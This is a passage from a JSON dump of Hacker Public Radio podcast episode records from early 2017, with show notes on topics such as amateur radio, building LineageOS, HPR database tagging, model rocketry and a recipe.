                                                            If you do not chose to get involved with the local club before taking the test to get the license, we suggest you do so after that. Local events and clubs can provide the insight into the vast possibilities amateur radio has to offer. This will allow you to chose much better, where your personal interests are and where to start. Radio "nets", are mentioned as a good starting point to actually get "on the air" and to overcome any possible shyness.

                                                            \n

                                                            Acronyms explained along the way

                                                            \n
                                                              \n
                                                            • VFO: Variable Frequency Oscillator. The thing behind the main tuning dial to adjust the frequency, an important building block of radio equipment. In modern gear the VFO-mode is the mode where you can continuously change the frequency in certain increments, as opposed to memory mode, where you normally select from a set of fixed frequencies previously stored.
                                                            • \n
                                                            • CW: Continuous Wave. Used to reference to Morse code telegraphy as an operating mode.
                                                            • \n
                                                            • VHF: Very High Frequency. Generally this references the frequency range 30 Mhz to 300 MHz. In the context of a radio user, it normally means the sub range in there, that is assigned to the specific use.
                                                            • \n
                                                            • UHF: Ultra High Frequency. 300 MHz to 3 GHz
                                                            • \n
                                                            • HF: High Frequency. Range 3 MHz to 30 MHz. Also referenced to as "short wave" frequencies. Several amateur radio "bands" are spread out in that frequency range.
                                                            • \n
                                                            \n

                                                            We often reference frequency ranges by wavelength. E.g. the "20m band", which is the frequency allocation for amateur radio at 14 MHz. The connection is: Wavelength = c / frequency, with c being the speed of light. A rule of thumb is: Wavelength [m] = 300 / frequency [MHz]

                                                            \n

                                                            Hint: The manufacturer Tektronix offers a nice poster with the world wide frequency assignments worked in: https://info.tek.com/rs/tektronix/images/eGuide-to-RF-Signals.pdf

                                                            \n

                                                            We went on describing a bit where our personal interests in amateur radio are.

                                                            \n

                                                            Our combined interests cover all the way from Morse code over voice communication to digital modes and "foxhunt" (the radio sport of Amateur Radio Direction Finding). Note that there are many other facets to amateur radio. Even our combined interests are just a small segment of the possible activities within the avocation.

                                                            \n

                                                            We talk about getting started with just listening to amateur radio traffic on the short wave frequencies.

                                                            \n

                                                            Why do you need a license, why not just do it?

                                                            \n

                                                            First, without a license, it is ILLEGAL.

                                                            \n

                                                            Law makers have acknowledged that one important goal of amateur radio is education and experimentation. We are allowed to modify equipment or even build it completely from scratch and operate it legally on the assigned frequencies. This is a unique privilege that sets amateur radio apart from any other radio users which have to use certified equipment.

                                                            \n

                                                            We give some amateur related podcast recommendations, among those: Linux in the ham shack (https://lhspodcast.info) and HamRadio 360 (https://hamradio360.com).

                                                            \n

                                                            The Next Edition of the Amateur Radio Round Table

                                                            \n

                                                            Next ham radio round table will be held in about a month, with a time that will be better suited for European time zones. We welcome anyone to participate, whether or not you are a licensed ham. Watch the HPR email list for announcements and details.

                                                            \n","hostid":109,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"amateur radio, ham","version":0,"downloads":0,"valid":1}, {"id":2241,"date":"2017-03-06","title":"HPR Community News for February 2017","duration":2099,"summary":"HPR Volunteers talk about shows released and comments posted in February 2017","notes":"\n

                                                            New hosts

                                                            \n

                                                            \nThere were no new hosts this month.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
                                                            IdDayDateTitleHost
                                                            2218Wed2017-02-01Cool Stuff pt. 5Curtis Adkins (CPrompt^)
                                                            2219Thu2017-02-02The Musings of a Novice Cable TV Cord CutterReg A
                                                            2220Fri2017-02-03Taking apart a tabletlaindir
                                                            2221Mon2017-02-06HPR Community News for January 2017HPR Volunteers
                                                            2222Tue2017-02-07FOSDEM 2017 K (level 1, group A)Ken Fallon
                                                            2223Wed2017-02-08FOSDEM 2017 K (level 1, group B and C)Ken Fallon
                                                            2224Thu2017-02-09FOSDEM 2017 K (level 2 Stands 1 to 9)Ken Fallon
                                                            2225Fri2017-02-10FOSDEM 2017 K (level 2 Stands 10 to 19)Ken Fallon
                                                            2226Mon2017-02-13FOSDEM 2017 AW BuildingKen Fallon
                                                            2227Tue2017-02-14FOSDEM 2017 H Building and the Hallway trackKen Fallon
                                                            2228Wed2017-02-15linux.conf.au 2017: Russell Keith-MageeClinton Roy
                                                            2229Thu2017-02-16linux.conf.au 2017: Kathy ReidClinton Roy
                                                            2230Fri2017-02-17linux.conf.au 2017: Donna BenjaminClinton Roy
                                                            2231Mon2017-02-20linux.conf.au 2017: Rusty RussellClinton Roy
                                                            2232Tue2017-02-21linux.conf.au 2017: Lilly RyanClinton Roy
                                                            2233Wed2017-02-22linux.conf.au 2017: Hugh BlemmingsClinton Roy
                                                            2234Thu2017-02-23linux.conf.au 2017: Richard JonesClinton Roy
                                                            2235Fri2017-02-24linux.conf.au 2017: First timers interviewsClinton Roy
                                                            2236Mon2017-02-27Hoarding Raspberry PisMr. Young
                                                            2237Tue2017-02-28Do you care?Curtis Adkins (CPrompt^)
                                                            \n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mail List which is open to all HPR listeners and\ncontributors. The discussions are open and available in the archives run\nexternally by Gmane\n(see below) and on the HPR server under Mailman.\n

                                                            \n

                                                            Note: since the summer of 2016 Gmane has changed location and is currently\nbeing reestablished. At the moment the HPR archive is not available there.

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2017-February/thread.html\n\n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows\nreleased during the month or to past shows.
                                                            \nThere are 13 comments in total.

                                                            \n

                                                            There are 5 comments on\n5 previous shows:

                                                            \n
                                                            • hpr2198\n(2017-01-04) \"How awesome is Guix and why will it take over the world\"\nby clacke.
                                                            • \n
                                                            • \n
                                                              \n
                                                            • hpr2202\n(2017-01-10) \"Makers on YouTube\"\nby Dave Morriss.
                                                            • \n
                                                            • \n
                                                              • Comment 4:\nJim Weda on 2017-02-01:\n\"Treat list....\"

                                                              \n
                                                            • hpr2212\n(2017-01-24) \"meanderings Cyberpunk and the Minidisc\"\nby Quvmoh.
                                                            • \n
                                                            • \n
                                                              • Comment 3:\nMatt on 2017-02-01:\n\"MiniDisc brought me here...\"

                                                              \n
                                                            • hpr2213\n(2017-01-25) \"Clay Body\"\nby brian.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nbrian on 2017-02-09:\n\"a clarrification\"

                                                              \n
                                                            • hpr2216\n(2017-01-30) \"Working AO-85 with my son\"\nby Christopher M. Hobbs.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nMichael (mirwi), DL4MGM on 2017-02-04:\n\"Doppler shift\"

                                                              \n
                                                            \n

                                                            There are 8 comments on 6 of this month's shows:

                                                            \n
                                                            • hpr2220\n(2017-02-03) \"Taking apart a tablet\"\nby laindir.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nAlpha32 on 2017-02-07:\n\"Oh man...\"

                                                              \n
                                                            • hpr2221\n(2017-02-06) \"HPR Community News for January 2017\"\nby HPR Volunteers.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nbrian on 2017-02-06:\n\"sorry\"
                                                              • Comment 2:\nKen Fallon on 2017-02-08:\n\"You did that unscripted ?\"

                                                              \n
                                                            • hpr2227\n(2017-02-14) \"FOSDEM 2017 H Building and the Hallway track\"\nby Ken Fallon.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nMr. Young on 2017-02-28:\n\"For the whole series\"

                                                              \n
                                                            • hpr2229\n(2017-02-16) \"linux.conf.au 2017: Kathy Reid\"\nby Clinton Roy.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nGuido on 2017-02-16:\n\"Great to hear about the big picture\"

                                                              \n
                                                            • hpr2235\n(2017-02-24) \"linux.conf.au 2017: First timers interviews\"\nby Clinton Roy.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKevin O'Brien on 2017-02-27:\n\"Great Interviews!\"

                                                              \n
                                                            • hpr2236\n(2017-02-27) \"Hoarding Raspberry Pis\"\nby Mr. Young.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nsigflup on 2017-02-21:\n\"right on\"
                                                              • Comment 2:\njezra on 2017-02-27:\n\"Wonderful\"

                                                              \n
                                                            \n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":2242,"date":"2017-03-07","title":"Interview with Colin J. Mills, organizer of KW Linuxfest","duration":647,"summary":"After the KW Linuxfest, Bob Jonkman and Colin Mills sat down and talked for a while.","notes":"

                                                            After the KW Linuxfest on Saturday, 28 January 2017, Bob Jonkman and Colin J. Mills (HPR host cjm) sat down and talked about some of the organizational challenges in running an event, Colin's co-op program at Conestoga College, and anticipating another KW Linuxfest in 2018.

                                                            \n

                                                            KW Linuxfest is at https://kwlinuxfest.ca/

                                                            \n

                                                            KW Linuxfest 2017 was sponsored by Vehikl https://vehikl.com/

                                                            \n

                                                            Kitchener Waterloo Linux User Group: https://kwlug.org

                                                            \n

                                                            You can reach Colin J. Mills at kwlinuxfest.nospam@nospam.gmail.com

                                                            \n","hostid":350,"series":78,"explicit":0,"license":"CC-BY-SA","tags":"Linux, Kitchener-Waterloo","version":0,"downloads":0,"valid":1}, {"id":2243,"date":"2017-03-08","title":"My Quick Tips E01","duration":485,"summary":"I ramble on about some of my tips I recorded","notes":"\n

                                                            -rmccurdy.com

                                                            ","hostid":36,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Firefox,adblocker,cat litter,electronic recycling,shaving","version":0,"downloads":0,"valid":1}, {"id":2244,"date":"2017-03-09","title":"building lineageOS","duration":1180,"summary":"I try my hand at building lineageOS for my device","notes":"

                                                            i am too ignorant to build for the device that i want.

                                                            \n

                                                            i mention a dev from xda.

                                                            \n

                                                            i am running debian sid... also mention arch and the importance of shownotes.

                                                            \n

                                                            following lineage wiki, i merge the extra commands from a 14.1 device page.

                                                            \n

                                                            install adb fastboot repo with package manager and you can ignore creating ~/bin, chmod command, and PATH update as these tools were installed by your package manager.

                                                            \n

                                                            install list given on the wiki of packages...some will not exist... search to find out their names.

                                                            \n

                                                            cd into the location for your project.

                                                            \n
                                                            $ mkdir -p ./android/system\n$ cd android/system\n$ repo init -u https://github.com/LineageOS/android.git -b cm-14.1\n$ repo sync\n$ repo sync\n$ repo sync
                                                            \n

                                                            successful new 50G on my drive.

                                                            \n$ nano android/system/.repo/local_manifests/roomservice.xml\n

                                                            add the needed lines from the muppets and ignore extracting proprietary blobs.

                                                            \n
                                                            $ repo sync\n$ source build/envsetup.sh\n$ breakfast spyder\n$ export USE_CCACHE=1\n$ prebuilts/misc/linux-x86/ccache/ccache -M 50G\n$ export ANDROID_JACK_VM_ARGS=\"-Dfile.encoding=UTF-8 -XX:+TieredCompilation -Xmx4G\"\n$ export WITH_SU=true\n$ croot\n$ brunch spyder
                                                            \n

                                                            ran 99% and errored... xmllint command not found.

                                                            \n

                                                            search for and install libxml2-utils.

                                                            \n

                                                            rerun build and get an out of memory error... go to bed... try tomorrow... shutdown machine.

                                                            \n

                                                            sift through old information as things have changed regarding file names and such.

                                                            \n$ nano ~/.jack-server/config.properties\n

                                                            change jack.server.max-service=4 to 2

                                                            \n

                                                            start from envsetup.sh again.

                                                            \n$ cd $OUT\n

                                                            boot phone to recovery and install

                                                            \n$ adb sideload ./lineage-14.1-20170202-UNOFFICIAL-spyder.zip\n

                                                            i remove some apps and install fdroid.

                                                            ","hostid":329,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"android, lineageos, cyanogenmod, compiling ","version":0,"downloads":0,"valid":1}, {"id":2245,"date":"2017-03-10","title":"Managing tags on HPR episodes - 1","duration":1568,"summary":"Looking for the best way to store and manage tags in the HPR database, part 1","notes":"

                                                            Managing tags on HPR episodes - 1

                                                            \n

                                                            Introduction

                                                            \n

                                                            We have been collecting and storing tags for new HPR shows for a while now with the intention of eventually offering a search interface. In addition, a number of contributors, including myself have been adding tags (and summaries), to shows that do not have them, since August 2015. There is still a way to go, but we’re making progress. At the time of writing (2017-01-31) 56.29% (1248) of all HPR shows (2217) have tags.

                                                            \n

                                                            In recent times the way in which we should use these tags has been discussed. In show 2035 on 2016-05-20 droops suggested:

                                                            \n
                                                            \n

                                                            The website, which is a lot of work, needs to have related shows listed on each individual show’s page. This will take a tag system and someone to tag all of the almost uncountable previous episodes.

                                                            \n
                                                            \n

                                                            This episode begins a discussion about some of the ways that tags can be stored, managed and accessed efficiently in the HPR database.

                                                            \n

                                                            I started planning a show about this subject in the summer of 2016, and the amount of information I have accumulated has grown since then. There is now quite a lot, so I am going to split what was originally going to be one show into three.

                                                            \n

                                                            The subject becomes quite technical in the later shows, discussing database design techniques, and all three of the shows contain examples of database queries and scripts. If you are not interested in this subject than feel free to skip past. However, you might find this first episode more palatable, and any thoughts you might have on the subject would be appreciated.

                                                            \n

                                                            Long notes

                                                            \n

                                                            I have written out a set of longer notes for this episode and these are available by clicking this link.

                                                            \n

                                                            Links

                                                            \n\n","hostid":225,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"HPR,database,schema,tag","version":0,"downloads":0,"valid":1}, {"id":2246,"date":"2017-03-13","title":"My Custom RSS Comic and Security Feed","duration":396,"summary":"Ya RSS say something. I talk about my comics only RSS feed","notes":"","hostid":36,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"RSS,Comics,html,scripting","version":0,"downloads":0,"valid":1}, {"id":2247,"date":"2017-03-14","title":"2016-2017 HPR New Year show 1","duration":15870,"summary":"Hacker Public Radio new years eve show episode 1","notes":"

                                                            HPR new years eve show episode 1

                                                            \n
                                                              \n
                                                            • FiftyOneFifty’s home network
                                                            • \n
                                                            • FiftyOneFifty talks guns
                                                            • \n
                                                            • Reg A talks about his early days of computing
                                                            • \n
                                                            • Caganer nativity scenes:\n
                                                            • \n
                                                            • The US Air Force
                                                            • \n
                                                            • booze food and cpap machines
                                                            • \n
                                                            • earliest memories
                                                            • \n
                                                            • discuss our early days of computing
                                                            • \n
                                                            • knightwise and mobile computing
                                                            • \n
                                                            • drw’s early days of computing and linux
                                                            • \n
                                                            \n","hostid":159,"series":121,"explicit":1,"license":"CC-BY-SA","tags":"new years eve show","version":0,"downloads":0,"valid":1}, {"id":2248,"date":"2017-03-15","title":"2016-2017 HPR New Year show episode 2","duration":14462,"summary":"Hacker Public Radio new years eve show episode 2","notes":"

                                                            HPR new years eve show episode 2

                                                            \n","hostid":159,"series":121,"explicit":1,"license":"CC-BY-SA","tags":"new years eve show","version":0,"downloads":0,"valid":1}, {"id":2249,"date":"2017-03-16","title":"2016-2017 HPR New Year show episode 3","duration":13526,"summary":"Hacker Public Radio new years eve show episode 3","notes":"

                                                            HPR new years eve show episode 3

                                                            \n
                                                              \n
                                                            • Carrie Fisher
                                                            • \n
                                                            • voting / politics
                                                            • \n
                                                            • heritages
                                                            • \n
                                                            • Wikipedia for news
                                                            • \n
                                                            • pizza gate
                                                            • \n
                                                            • why we love Linux
                                                            • \n
                                                            • text editors
                                                            • \n
                                                            • forum fun
                                                            • \n
                                                            • coffee is great
                                                            • \n
                                                            • making money with free software
                                                            • \n
                                                            • free software in the workplace
                                                            • \n
                                                            • Single board computers
                                                            • \n
                                                            \n","hostid":159,"series":121,"explicit":1,"license":"CC-BY-SA","tags":"new years eve show","version":0,"downloads":0,"valid":1}, {"id":2250,"date":"2017-03-17","title":"2016-2017 HPR New Year show episode 4","duration":14536,"summary":"Hacker Public Radio new years eve show episode 4","notes":"

                                                            HPR new years eve show episode 4

                                                            \n","hostid":159,"series":121,"explicit":1,"license":"CC-BY-SA","tags":"new years eve show","version":0,"downloads":0,"valid":1}, {"id":2251,"date":"2017-03-20","title":"2016-2017 HPR New Year show episode 5","duration":10179,"summary":"Hacker Public Radio new years eve show episode 5","notes":"

                                                            HPR new years eve show episode 5

                                                            \n","hostid":159,"series":121,"explicit":1,"license":"CC-BY-SA","tags":"new years eve show","version":0,"downloads":0,"valid":1}, {"id":2252,"date":"2017-03-21","title":"2016-2017 HPR New Year show episode 6","duration":10369,"summary":"Hacker Public Radio new years eve show episode 6","notes":"

                                                            HPR new years eve show episode 6

                                                            \n","hostid":159,"series":121,"explicit":1,"license":"CC-BY-SA","tags":"new years eve show","version":0,"downloads":0,"valid":1}, {"id":2253,"date":"2017-03-22","title":"How to make and use a stencil","duration":833,"summary":"Cutting and using a stencil made of thick foil","notes":"

                                                            To make a stencil you need

                                                            \n
                                                              \n
                                                            • a motif
                                                            • \n
                                                            • thick foil/cardboard/metal sheet
                                                            • \n
                                                            • sharp knife/scalpel
                                                            • \n
                                                            \n

                                                            To use a stencil:

                                                            \n
                                                              \n
                                                            • stencil
                                                            • \n
                                                            • tape
                                                            • \n
                                                            • paint
                                                            • \n
                                                            • sponge/spray can
                                                            • \n
                                                            • a surface to put it on
                                                            • \n
                                                            \n
                                                              \n
                                                            1. Find a motif or make your own
                                                            2. \n
                                                            3. Copy/print motif on thick foil
                                                            4. \n
                                                            5. Cut out the black parts carefully
                                                            6. \n
                                                            7. Tape stencil to surface
                                                            8. \n
                                                            9. Apply paint with sponge
                                                            10. \n
                                                            11. Carefully take off stencil
                                                            12. \n
                                                            13. Tadaaaaaaa
                                                            14. \n
                                                            \n

                                                            \n\n\"Stencil\"/\n\n

                                                            \n","hostid":351,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"stencil,diy","version":0,"downloads":0,"valid":1}, {"id":2254,"date":"2017-03-23","title":"Introduction to Model Rocketry","duration":3248,"summary":"Steve talks about the hobby of model rocketry including some of the advanced aspects of the hobby.","notes":"

                                                            Introduction to Model Rocketry

                                                            \n

                                                            In this episode I introduce the hobby of model rocketry. I specifically highlight some of the advanced elements of the hobby to show how model rocketry goes from being a fun activity for kids to a serious hobby enjoyed by many adults.

                                                            \n

                                                            Outline

                                                            \n
                                                              \n
                                                            1. History of model rocketry.
                                                            2. \n
                                                            \n
                                                              \n
                                                            • Early amateur experimentation with rocketry.
                                                            • \n
                                                            • G. Harry Stine develops the model rocket motor.
                                                            • \n
                                                            • Vern Estes develops a way to mass produce motors.
                                                            • \n
                                                            \n
                                                              \n
                                                            1. Basic model rocket components and flight.
                                                            2. \n
                                                            \n
                                                              \n
                                                            • Airframe, nose cone, and fins.
                                                            • \n
                                                            • The part of the model rocket motor.
                                                            • \n
                                                            • Recovery mechanism (parachutes and streamers).
                                                            • \n
                                                            • The launch pad
                                                            • \n
                                                            • The basic flight profile of a model rocket.
                                                            • \n
                                                            • Building a typical model rocket kit.
                                                            • \n
                                                            \n
                                                              \n
                                                            1. Scratch building your own designs.
                                                            2. \n
                                                            \n
                                                              \n
                                                            • Using commercial components.
                                                            • \n
                                                            • Using ordinary materials for rockets.
                                                            • \n
                                                            • Fabricating components: Lathes, laser cutters, CNC machines, etc.
                                                            • \n
                                                            • Using CAD and simulation software.
                                                            • \n
                                                            \n
                                                              \n
                                                            1. Craftsmanship and scale modeling.

                                                            2. \n
                                                            3. Model rocket competition.
                                                            4. \n
                                                            \n
                                                              \n
                                                            • Regional, national, and international meets.
                                                            • \n
                                                            • Events: Altitude, duration, advanced recovery methods, payloads, egglofting.
                                                            • \n
                                                            \n
                                                              \n
                                                            1. High power rockets.
                                                            2. \n
                                                            \n
                                                              \n
                                                            • Large rockets.
                                                            • \n
                                                            • High altitude rockets.
                                                            • \n
                                                            • Supersonic rockets
                                                            • \n
                                                            • Composite motors.
                                                            • \n
                                                            • Regulations
                                                            • \n
                                                            • Certification
                                                            • \n
                                                            • Materials
                                                            • \n
                                                            \n
                                                              \n
                                                            1. Complex rocketry.
                                                            2. \n
                                                            \n
                                                              \n
                                                            • Motor clustering.
                                                            • \n
                                                            • Staging.
                                                            • \n
                                                            • Dual deployment.
                                                            • \n
                                                            \n
                                                              \n
                                                            1. Electronics
                                                            2. \n
                                                            \n
                                                              \n
                                                            • Altimeters
                                                            • \n
                                                            • Flight computers
                                                            • \n
                                                            • Tracking
                                                            • \n
                                                            • Cameras
                                                            • \n
                                                            \n
                                                              \n
                                                            1. Experimental motors.

                                                            2. \n
                                                            3. National associations.
                                                            4. \n
                                                            \n
                                                              \n
                                                            • National Association of Rocketry (NAR).
                                                            • \n
                                                            • Tripoli Rocketry Association (TRA).
                                                            • \n
                                                            • Safety codes.
                                                            • \n
                                                            • Liability insurance.
                                                            • \n
                                                            • Local clubs.
                                                            • \n
                                                            \n
                                                              \n
                                                            1. Safety.

                                                            2. \n
                                                            3. A little about my personal interests in model rocketry.

                                                            4. \n
                                                            \n

                                                            Resources

                                                            \n

                                                            The following is a non-exhaustive list of companies that manufacture and/or sell model rocket kits and suplies. I've primary listed those that I'm most familiar with. There are certainly others.

                                                            \n\n

                                                            These are some of the major manufactures of high power composite motors.

                                                            \n\n

                                                            These are the two United States national model rocketry associations.

                                                            \n\n

                                                            Resource for competition rocketry.

                                                            \n\n

                                                            Here are a number of other interesting links

                                                            \n\n

                                                            Errata

                                                            \n

                                                            In the show I said that G. Harry Stine worked at the White Sands Missile Base. The correct name for that facility is White Sands Missile Range. But, during the time that Stine worked there, it would have been called the White Sands Proving Ground. https://www.wsmr.army.mil/

                                                            \n","hostid":334,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"hobbies, rockets, models, rocketry","version":0,"downloads":0,"valid":1}, {"id":2255,"date":"2017-03-24","title":"The Good Ship HPR","duration":1571,"summary":"HPR is a wonderful yet fragile project completely dependent on a steady flow of shows from hosts","notes":"

                                                            The Good Ship HPR

                                                            \n

                                                            Hacker Public Radio

                                                            \n

                                                            What is it?

                                                            \n

                                                            The podcast called Hacker Public Radio (HPR) is an amazing phenomenon. It has been providing an episode a day every weekday for years, and these episodes originate from the community.

                                                            \n

                                                            I heard someone refer to HPR as “Crowd Sourced” which seemed like a good way of describing things. It is an open access resource which is managed under various Creative Commons licences, usually CC-BY-SA.

                                                            \n

                                                            The content is very broad in scope. Anything “of interest to Hackers” is acceptable, which is interpreted in a wide variety of ways.

                                                            \n

                                                            Access to shows is open to all through the HPR site, where shows back to episode 1 can be browsed, notes read, etc. There are feeds which propagate various updates: to shows, series, comments and email. Current shows are archived to the Internet Archive (archive.org) within a few days of appearing in the main feed, and older shows are gradually being archived this way with the intention of eventually storing everything there.

                                                            \n

                                                            For example, to find show 1999 on archive.org look for https://archive.org/details/hpr1999. The entire HPR collection can be browsed at https://archive.org/details/hackerpublicradio.

                                                            \n

                                                            Some history

                                                            \n

                                                            As you can see, if you examine the details on the website statistics page the predecessor of HPR started more than 11 years ago as “Today With A Techie”, transforming into “Hacker Public Radio” over 9 years ago.

                                                            \n
                                                            Started:            11 years, 4 months, 12 days ago (2005-10-10)\nRenamed HPR:        9 years, 1 months, 20 days ago (2007-12-31)
                                                            \n

                                                            In the earlier days the frequency of show release was not the predictable 5 per week, every weekday, that it is now. There were gaps, sometimes of several days, and occasionally shows came out on the weekend. Stability was achieved in October 2012 and there have been no gaps since then!

                                                            \n

                                                            There are currently 280 hosts who have contributed shows at some point in the history of HPR, and at the time of writing in February 2017 show number 2230 has been released. The number of episodes and hosts will be greater when the episodes from “Today With A Techie” are incorporated into the archive.

                                                            \n

                                                            The Hacker Public Radio experiment has been very successful over the years, but there is a certain fragility in the way it works.

                                                            \n

                                                            Long notes

                                                            \n

                                                            The longer notes for this episode which are available by clicking this link, talk about the details of the problem facing HPR and go on to suggest some solutions.

                                                            \n

                                                            Links

                                                            \n\n","hostid":225,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"HPR,community,contribution,podcast","version":0,"downloads":0,"valid":1}, {"id":2256,"date":"2017-03-27","title":"Modular Game Scaling","duration":277,"summary":"how I allowed more display resolutions in a modular game design","notes":"

                                                            NOTE: the audio didn't cut together as smoothly as I remember from the first time, probably because I forgot to record at 44.1 KHz

                                                            \n

                                                            In this episode I explain in broad terms how I programmed a game system to adjust its display resolution using three distinct modules operating individually and in concert.

                                                            \n
                                                              \n
                                                            • The "metagame" (launcher) module accepts an argument describing the size of the window available for display
                                                            • \n
                                                            • The "gameplay" module is informed of the space available as a 'window' into the game world and uses it for one thing or another
                                                            • \n
                                                            • The "graphics" module opens a window at the specified size and modifies the graphical assets if needed
                                                            • \n
                                                            \n

                                                            Once again I recorded in parts using a program called Urecord on my pocket computer (mobile phone).

                                                            \n

                                                            I program using Pygame, post on a GNU Social account, maintain a personal website at NoxBanners.NET, and study programming techniques at Refactoring.com, style at Python.org, and sometimes patterns at Portland Pattern Repository

                                                            ","hostid":317,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"video games, programming, object-oriented, game development, design patterns","version":0,"downloads":0,"valid":1}, {"id":2257,"date":"2017-03-28","title":"Watt OS","duration":244,"summary":"a short show about the Linux distro Watt OS","notes":"

                                                            In this short episode I tell you about installing Watt OS onto an Acer Aspire One Netbook from 2008.

                                                            \n

                                                            This net book came with a 8Gig SSD installed and a 32bit 1.6G atom processor and many modern Linux spins are just too big for the hardware.

                                                            \n

                                                            However Watt OS came to the rescue and installed on the Netbook without issue.

                                                            \n

                                                            I plan to give it a go on a Lenovo x61 shortly and will let you know how that works out, my thought is it will fly on that hardware.

                                                            \n

                                                            https://wiki.planetwatt.com

                                                            ","hostid":338,"series":57,"explicit":1,"license":"CC-BY-SA","tags":"Linux,OS,OS Watt","version":0,"downloads":0,"valid":1}, {"id":2258,"date":"2017-03-29","title":"Killer Keilbasa","duration":247,"summary":"Quick recipe for that last minute party","notes":"

                                                            I have heard out here a few recipes so I figured I would throw one out here that goes over real well when we make it.

                                                            \n

                                                            Recipe:

                                                            \n
                                                              \n
                                                            • 1 Lb. Keilbasa (your choice)
                                                            • \n
                                                            • 2 TBSP Ketchup
                                                            • \n
                                                            • 2 TBSP Brown Sugar
                                                            • \n
                                                            • 2 Table spoons jelly (I have used orange Marmalade, Grape Jelly and various flavors of Jalapeno or pepper jelly)
                                                            • \n
                                                            \n\n
                                                              \n
                                                            • Crock Pot (Slow cooker) or sauce pan
                                                            • \n
                                                            • In crock pot add Kielbasa sliced in 1/2\" pieces
                                                            • \n
                                                            • Add jelly
                                                            • \n
                                                            • Add Brown Sugar
                                                            • \n
                                                            • Add Ketchup
                                                            • \n
                                                            \n

                                                            Turn crock pot on medium for 2 hours checking and stirring every half hour. Should be ready in 2 hours.

                                                            \n

                                                            In sauce pan on medium heat stirring continuously until mixture liquefies and the Kielbasa look done. Probably less than 20 minutes this way but you have to watch it or it burns. This is why we use a slow cooker.

                                                            \n

                                                            I make 5-7 lbs at a time for a party and usually it is all gone by the end of the party. So I take it that it is a hit. This also is pretty good over rice. Almost Asian style.

                                                            \n","hostid":346,"series":93,"explicit":0,"license":"CC-BY-SA","tags":"keilbasa,recipe,food","version":0,"downloads":0,"valid":1}, {"id":2259,"date":"2017-03-30","title":"Minidiscs: A Response to HPR 2212","duration":1002,"summary":"Response to hpr2212 with my own uses and recollections of the awesome legacy medium of the minidisc","notes":"

                                                            This is a walking-and-talking response to hpr2212 (meanderings Cyberpunk and the Minidisc, The Cyberpunk history of the Sony Minidisc, hosted by Quvmoh on 2017-01-24) with my own uses and recollections of this awesome legacy medium.

                                                            \n\n

                                                            Video about my USB power supply hack:
                                                            \nhttps://www.youtube.com/watch?v=v53k2RCT-lA\n

                                                            \n

                                                            Links

                                                            \n\n","hostid":238,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"audio, minidisc, digital media","version":0,"downloads":0,"valid":1}, {"id":2260,"date":"2017-03-31","title":"Managing tags on HPR episodes - 2","duration":1477,"summary":"Looking for the best way to store and manage tags in the HPR database, part 2","notes":"

                                                            Managing tags on HPR episodes - 2

                                                            \n

                                                            Introduction

                                                            \n

                                                            This is the second show looking at the subject of Managing Tags.

                                                            \n

                                                            In the first show we looked at why we need tags, examined the present system and considered its advantages and disadvantages.

                                                            \n

                                                            In this episode we will look at a solution using a separate table of tags.

                                                            \n

                                                            Long notes

                                                            \n

                                                            This is a detailed subject so I have written out a set of longer notes for this episode and these are available by clicking this link.

                                                            \n

                                                            Links

                                                            \n\n","hostid":225,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"HPR,database,schema,tag,SQL,foreign key","version":0,"downloads":0,"valid":1}, {"id":2261,"date":"2017-04-03","title":"HPR Community News for March 2017","duration":4221,"summary":"HPR Volunteers talk about shows released and comments posted in March 2017","notes":"\n

                                                            New hosts

                                                            \n

                                                            \nWelcome to our new hosts:
                                                            \n BobJonkman, \n @einebiene.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
                                                            IdDayDateTitleHost
                                                            2238Wed2017-03-01Gnu Awk - Part 6Dave Morriss
                                                            2239Thu2017-03-02making jerkyJezra
                                                            2240Fri2017-03-03Amateur Radio Round TableVarious Hosts
                                                            2241Mon2017-03-06HPR Community News for February 2017HPR Volunteers
